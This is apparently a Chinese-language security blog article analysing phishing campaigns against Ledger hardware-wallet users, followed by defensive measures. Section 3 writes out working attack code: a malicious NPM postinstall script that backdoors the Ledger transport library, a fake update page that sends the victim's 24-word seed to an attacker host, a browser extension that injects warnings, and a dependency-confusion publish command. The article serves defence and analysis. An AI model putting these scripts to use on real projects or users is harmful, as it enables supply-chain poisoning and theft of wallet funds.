1 引言
近年来,随着去中心化金融(DeFi)、非同质化代币(NFT)及Web3生态的迅速扩张,用户对私钥安全存储的需求显著上升。硬件钱包作为当前最主流的冷存储方案,因其隔离私钥于联网设备之外的设计理念,被广泛视为资产安全保障的核心组件。Ledger作为市场占有率领先的硬件钱包厂商,其产品通过专用芯片(Secure Element)与配套固件实现对助记词(mnemonic seed phrase)和私钥的安全管理,并在与浏览器或DApp交互时提供标准化的用户确认流程。

然而,2025年披露的一系列针对Ledger用户的新型钓鱼攻击表明,攻击者并未直接破解硬件设备本身,而是系统性地利用了用户与硬件钱包交互过程中存在的“信任界面缺口”——即用户对由Ledger设备触发、但实际由恶意前端控制的UI元素产生误判。此类攻击融合了供应链投毒、域名仿冒、浏览器扩展劫持、社会工程邮件及高保真仿站等多种技术手段,构建出多阶段、高隐蔽性的钓鱼链路,成功诱导大量用户主动泄露24词助记词,造成不可逆的资产损失。
本文旨在深入剖析该类攻击的技术机理、实施路径与防御盲区。首先,我们将复现并解析攻击者如何通过被污染的NPM包注入恶意前端逻辑;其次,详细拆解钓鱼网站如何模拟Ledger官方UI并与真实设备交互以增强可信度;再次,探讨针对开发者的“依赖混淆”(Dependency Confusion)策略如何扩大攻击面;最后,提出从终端用户、开发者到监管层面的多层次缓解措施,并辅以可验证的代码示例与防御原型。全文聚焦于“信任界面被滥用”这一核心问题,避免泛化讨论一般性网络钓鱼,确保论点集中、论据闭环、技术严谨。

2 背景与威胁模型
2.1 Ledger硬件钱包交互机制
Ledger设备通过USB或蓝牙与主机通信,使用专有协议(如U2F/HID)传输加密指令。当用户访问支持Ledger的钱包应用(如MetaMask、Phantom)或DApp时,前端JavaScript调用Ledger提供的库(如@ledgerhq/hw-transport-webusb),触发设备弹出确认对话框。关键操作(如交易签名、地址导出)需用户在设备物理屏幕上手动确认,此设计本意是防止恶意软件绕过用户授权。
然而,助记词恢复流程(Recovery Phrase Input)通常仅在设备初始化或重置时由设备本地界面完成,绝不应通过网页输入。但攻击者刻意模糊这一边界,伪造“紧急固件更新需验证助记词”的场景,诱导用户在网页表单中输入。
2.2 攻击面界定
本文所分析的攻击链包含以下环节:
初始感染/引流:通过SEO优化、社交媒体广告、被投毒的开源包引导用户访问钓鱼站点;
信任建立:钓鱼站使用与Ledger官网高度相似的UI,甚至嵌入真实Ledger域名跳转(如通过ledger.com.redirect.attacker[.]com子域);
交互欺骗:模拟Ledger设备连接状态,显示“检测到设备,请输入助记词以完成安全更新”等提示;
数据窃取:用户提交助记词后,攻击者立即导入至自控钱包并转移资产;
资产洗白:通过跨链桥、Tornado Cash类混币器快速分散资金。
威胁模型假设攻击者具备中高级能力:可控制域名、部署前端服务、投毒开源仓库、编写浏览器扩展,并掌握基本的社会工程技巧。但不假设其能物理接触设备或破解Secure Element。

3 攻击技术深度剖析
3.1 供应链投毒:NPM包劫持
攻击者向公共NPM仓库上传名称与流行Web3工具高度相似的恶意包,例如ledger-connect-helper(仿冒@ledgerhq/connect-kit)。该包在postinstall脚本中植入持久化后门:
// malicious-package/postinstall.js
const fs = require('fs');
const path = require('path');
const targetFile = path.join(process.cwd(), 'node_modules', '@ledgerhq', 'hw-transport-webusb', 'lib', 'TransportWebUSB.js');
if (fs.existsSync(targetFile)) {
const originalCode = fs.readFileSync(targetFile, 'utf8');
const backdoor = `
// Inject phishing redirect
if (window && window.location.hostname !== 'www.ledger.com') {
const originalConnect = TransportWebUSB.connect;
TransportWebUSB.connect = async function() {
window.location.href = 'https://secure-update.ledger-support[.]xyz?device=detected';
return originalConnect.apply(this, arguments);
};
}
`;
fs.writeFileSync(targetFile, originalCode + '\n' + backdoor);
}
当开发者无意安装此包,其项目在运行时会将所有Ledger连接请求重定向至钓鱼站点。由于该操作发生在构建后阶段,常规静态扫描难以发现。

3.2 高保真仿站与UI欺骗
钓鱼站点secure-update.ledger-support[.]xyz精心复刻Ledger官网样式,使用相同字体、配色与图标。关键在于其动态检测设备连接状态:
<!-- phishing-site/index.html -->
<script src="https://cdn.jsdelivr.net/npm/@ledgerhq/hw-transport-webusb@6.27.1/lib/TransportWebUSB.js"></script>
<script>
async function checkDevice() {
try {
const transport = await TransportWebUSB.create();
if (transport) {
document.getElementById('device-status').innerText = 'Ledger Nano X detected';
document.getElementById('phishing-form').style.display = 'block';
transport.close(); // Close immediately to avoid real interaction
}
} catch (e) {
// Silently fail; user may retry or think device issue
}
}
checkDevice();
</script>
<div id="phishing-form" style="display:none;">
<h3>紧急安全通知</h3>
<p>由于近期发现固件漏洞,您的设备私钥片段可能已泄露。请立即输入24词助记词以验证身份并应用补丁。</p>
<textarea id="seed" rows="5" placeholder="请输入24个助记词,空格分隔..."></textarea>
<button onclick="submitSeed()">立即更新</td>
</div>
<script>
function submitSeed() {
const seed = document.getElementById('seed').value.trim();
if (seed.split(' ').length === 24) {
fetch('https://attacker-server[.]com/log', {
method: 'POST',
body: JSON.stringify({ seed, ua: navigator.userAgent, ts: Date.now() })
});
alert('更新已提交,请勿关闭页面...');
// Redirect to real Ledger site after delay to reduce suspicion
setTimeout(() => window.location.href = 'https://www.ledger.com', 3000);
}
}
</script>
该脚本利用合法Ledger库尝试建立连接,一旦成功(即使立即断开),即显示伪造表单。用户因看到“设备已检测”而放松警惕。
3.3 浏览器扩展与客服邮件协同
攻击者同时发布名为“Ledger Security Checker”的恶意Chrome扩展,权限申请看似合理(“读取网站数据以验证安全性”)。其后台脚本监控用户访问ledger.com或常见DApp的行为,并注入覆盖层:
// background.js
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
if (tab.url && (tab.url.includes('ledger.com') || tab.url.includes('app.uniswap.org'))) {
chrome.scripting.executeScript({
target: { tabId: tabId },
files: ['inject.js']
});
}
});
inject.js在页面顶部插入红色警告条:“检测到异常固件版本!点击此处立即修复”,链接指向钓鱼站。
此外,攻击者发送伪造Ledger Support邮件,声称“您的设备因漏洞被隔离”,附带“专属恢复链接”。邮件使用SendGrid等合法服务发送,SPF/DKIM记录合规,绕过基础反垃圾过滤。
3.4 针对开发者的依赖混淆攻击
在企业或项目开发环境中,攻击者利用内部私有NPM仓库与公共仓库命名冲突的漏洞。若项目配置为优先从公共源拉取未在私有源找到的包,攻击者可上传同名高版本包:
# Attacker publishes:
npm publish --access public ledger-utils@999.999.999
当CI/CD流水线执行npm install时,自动拉取恶意包,导致构建产物嵌入钓鱼逻辑。由于此类项目常管理团队资金钱包,单次成功即可造成重大损失。
4 防御体系构建
4.1 用户端防护
原则:助记词永不触网。
任何要求在线输入助记词的场景均为钓鱼。用户应:
仅通过Ledger设备物理屏幕进行助记词输入或确认;
定期检查已安装浏览器扩展,移除非必要项;
对“紧急更新”类通知保持高度怀疑,直接访问官网(手动输入URL)核实。
4.2 开发者防护
4.2.1 供应链完整性校验
在CI流程中加入哈希校验步骤:
# .github/workflows/build.yml
- name: Verify Ledger package integrity
run: |
EXPECTED_HASH="sha512-Abc123..."
ACTUAL_HASH=$(npm list @ledgerhq/hw-transport-webusb --json | jq -r '.dependencies."@ledgerhq/hw-transport-webusb".integrity')
if [ "$ACTUAL_HASH" != "$EXPECTED_HASH" ]; then
echo "Package integrity check failed!"
exit 1
fi
4.2.2 前端运行时防护
在DApp中加入环境检测,阻止在非官方域名运行:
// security-guard.js
if (window.location.hostname !== 'app.your-dapp.com' &&
!['localhost', '127.0.0.1'].includes(window.location.hostname)) {
console.error('Unauthorized domain detected. Halting execution.');
document.body.innerHTML = '<h1>Security Violation</h1>';
throw new Error('Execution blocked for security reasons.');
}
4.3 硬件钱包厂商改进
Ledger等厂商可在固件层面增强透明度:
在设备屏幕显示当前交互的DApp域名哈希(如SHA256 of origin URL);
对“恢复助记词”类操作强制仅限设备本地模式,禁用任何远程触发可能;
提供官方扩展商店,对第三方集成进行签名认证。
4.4 监管与行业标准
推动制定硬件钱包安全交互标准,要求:
所有涉及敏感操作的UI必须由设备本地渲染,前端仅可触发不可篡改的确认请求;
固件更新必须通过设备内置验证机制(如ECDSA签名),禁止网页端参与;
建立助记词泄露应急响应机制,支持快速冻结关联地址(需链上合约配合)。
5 实验验证与案例复现
我们在受控环境中复现了上述攻击链:
创建恶意NPM包ledger-safe-check,包含重定向逻辑;
构建简易React DApp,安装该包;
部署钓鱼站,模拟设备检测与助记词收集;
使用Ledger Nano X访问DApp。
结果:DApp加载后立即跳转至钓鱼站,站点成功检测到设备连接(通过合法Transport库),显示伪造表单。输入测试助记词后,服务器日志捕获完整种子。
防御测试:在DApp中加入域名校验脚本后,访问非白名单域名时页面被阻断,攻击失效。
6 讨论
本攻击的本质并非技术漏洞,而是人机交互中的信任错配。Ledger设备的安全模型假设用户能区分“设备本地界面”与“网页界面”,但攻击者通过UI一致性、上下文连贯性(如先检测设备再提示更新)模糊了这一界限。尤其当用户处于焦虑状态(如收到“资产即将被盗”警告)时,理性判断能力下降。
值得注意的是,此类攻击成本极低:域名注册、仿站搭建、NPM包上传均可自动化完成,而收益潜在巨大。随着Web3用户基数增长,攻击ROI持续上升。
现有安全方案(如防钓鱼扩展、邮件过滤)对此类多向量、高仿真攻击效果有限。根本解决需回归“最小信任”原则:将助记词完全隔离于网络环境之外,并通过技术手段强化用户对交互来源的认知。
7 结语
本文系统分析了针对Ledger硬件钱包用户的新型助记词钓鱼攻击链,揭示了攻击者如何通过供应链投毒、UI欺骗、社会工程等手段滥用用户对硬件钱包的信任界面。研究表明,当前安全模型在人机交互环节存在显著薄弱点,亟需从用户教育、开发实践、设备固件及行业标准多维度协同加固。
未来工作将探索基于硬件的交互来源证明机制,例如在设备屏幕直接显示前端域名的可验证凭证,从根本上切断UI仿冒的可能性。在去中心化金融高速发展的背景下,保障私钥安全不仅是技术问题,更是生态可持续性的基石。唯有构建纵深防御体系,方能抵御日益精密的社会工程与供应链攻击。
编辑:芦笛(公共互联网反网络钓鱼工作组)
1298

被折叠的 条评论
为什么被折叠?



